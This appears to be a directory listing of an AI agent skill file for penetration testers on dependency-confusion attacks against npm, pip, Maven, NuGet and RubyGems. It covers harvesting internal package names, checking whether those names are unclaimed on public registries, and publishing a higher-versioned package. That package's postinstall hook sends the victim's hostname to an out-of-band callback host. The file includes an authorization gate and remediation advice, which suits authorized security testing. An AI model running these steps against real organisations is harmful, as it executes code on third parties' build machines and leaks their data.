Dependency confusion / substitution — harvest internal package names (npm, pip, Maven, NuGet, RubyGems) and test whether they are unclaimed on the public registry, so a build resolves a higher-version attacker package and executes in CI/dev. Tier 2 (build-side code exec — gated, publish only with explicit authorization). Use when internal package names leak.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Dependency Confusion?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-dependency-confusion)
---
name: dependency-confusion
description: Dependency confusion / substitution — harvest internal package names (npm, pip, Maven, NuGet, RubyGems) and test whether they are unclaimed on the public registry, so a build resolves a higher-version attacker package and executes in CI/dev. Tier 2 (build-side code exec — gated, publish only with explicit authorization). Use when internal package names leak.
---
# Dependency Confusion
If an internal package name is unregistered on the public registry, a build configured to search public sources may pull an attacker-published package with a higher version number — code execution in the victim's build/CI/developer machine.
## Trigger phrases
`dependency confusion, package confusion, namespace, internal package, npm scope, pypi, nuget, maven, rubygems, substitution attack`
## Execution gate (Tier 2 — publishing a package runs code on third parties)
Ask (a) "authorized to publish a benign proof package to the public registry for named internal packages (in scope)?" → if yes, publish a strictly-benign callback package. If no, (b) "detection only (confirm the name is unclaimed + buildable-but-don't-publish)?" → if yes, stop at availability check. Record answers + the exact package names in `./.zazy/scope.md`. Never include a real payload — OAST callback only; unpublish after proof.
## Method
1. **Harvest internal package names:**
- `.js.map` source maps, `package.json`/`package-lock.json`, `requirements.txt`, `pom.xml`/`build.gradle`, `*.csproj`/`packages.config`, `Gemfile.lock`, `.npmrc`/`.pip/pip.conf` references.
- Error traces/stack traces, HTML comments, public GitHub repos of the org, leaked build logs/artifacts (→ `cicd-secrets`), Wayback/`deep-web-recon`.
2. **Check public-registry availability** (name unclaimed = candidate):
- npm `npm view <name>` (404 = free); pip `pip index versions <name>`/PyPI JSON; NuGet/Maven Central/RubyGems search APIs.
- Flag **unscoped** internal names (scoped `@org/pkg` is safer); note mixed public/private installs and `--extra-index-url` (pip) which search public too.
3. **Confirm (gated):** publish a benign package (version higher than internal) whose install hook does only an **OAST DNS callback** with non-sensitive host metadata:
- npm `postinstall` → `nslookup $(hostname).<id>.OAST`; pip `sdist setup.py`; gem `extconf`.
A callback from the victim build/CI proves resolution. Unpublish immediately.
## Modern / rare techniques
- **`--extra-index-url` / mixed registries** (pip, npm, Artifactory virtual repos): public index consulted alongside private → still confusable even with a private registry if resolution isn't pinned.
- **Version pinning gaps**: ranges like `^1.0.0` pull a malicious `1.9.9`.
- **Build-system-specific**: Maven `groupId` takeover, NuGet source priority, Go module proxy confusion.
## Bypass / evasion
N/A — this is registry logic. Callback-only PoC avoids any payload.
## Escalation / chaining
Build/CI code exec → `cicd-pipeline` (runner/token compromise), `cicd-secrets`, `supply-chain`; names also feed `retirejs`/`vulnerable-components`.
## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP). `confused` (visma) for bulk availability checks, `snyk`/`osv-scanner` for manifests, interactsh for callbacks. See `zazy-orchestrator`.
## Verification (background, before reporting)
A callback from a victim-controlled host/CI runner confirms resolution; reproduce once, then unpublish. Availability-only is a "likely" finding, not confirmed exploitation. Report true positives only.
## Evidence
Internal package name + where leaked, registry availability proof, OAST callback (source = victim build) if gate allowed, package unpublished. Remediation: reserve/claim internal names publicly, use scoped packages, pin registries (`.npmrc` scope, single private index, no public fallback), verify integrity/lockfiles, namespace allow-listing.